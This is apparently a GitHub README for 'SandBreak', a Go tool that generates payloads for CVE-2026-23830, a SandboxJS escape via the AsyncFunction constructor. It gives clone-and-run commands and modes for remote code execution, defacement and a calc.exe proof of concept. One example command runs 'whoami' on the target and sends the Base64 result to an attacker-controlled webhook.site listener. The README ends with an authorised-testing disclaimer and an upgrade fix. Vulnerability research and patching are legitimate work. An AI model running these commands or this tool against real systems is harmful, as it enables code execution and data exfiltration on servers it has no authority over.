
Generates and delivers exploit payloads for CVE-2026-23830, a SandboxJS escape, with modes for blind OOB exfiltration and local calc PoC. Supports HTTP/HTTPS listeners and produces minified JavaScript payloads.
SandBreak is a robust, Go-based exploit generator designed to leverage the SandboxJS Escape vulnerability (CVE-2026-23830).
This tool exploits the unprotected AsyncFunction constructor in older versions of sandboxjs, allowing attackers to break out of the V8 sandbox environment and execute arbitrary code on the host system. It supports multiple payload modes including Blind OOB Exfiltration, Defacement, and Error-Based RCE.
oob: Out-of-Band Data Exfiltration (HTTP/HTTPS) for blind scenarios.calc: Pops calc.exe (Classic PoC).Clone the repository and run:
git clone https://github.com/Galaxy-sc/CVE-2026-23830-SandBreak.git
cd CVE-2026-23830-SandBreak
go run CVE-2026-23830.go
go run CVE-2026-23830.go -mode [MODE] -cmd [COMMAND] [OPTIONS]
Use this when you have no output feedback. It executes the command and sends the Base64-encoded result to your listener (e.g., webhook.site).
go run CVE-2026-23830.go -mode oob -cmd "whoami" -url "https://webhook.site/YOUR-UUID"
Successfully bypasses basic egress filtering crashes by handling network errors.
Pops a calculator on the Windows server.
go run CVE-2026-23830.go -mode calc
Attacker receiving the server's user data via Webhook despite no visual output on the site.
This tool is created for Educational Purposes and Authorized Penetration Testing only.
Upgrade sandboxjs to the latest version where the AsyncFunction constructor is properly sandboxed.
npm update sandboxjs
Author: Meysam Bal-afkan
License: MIT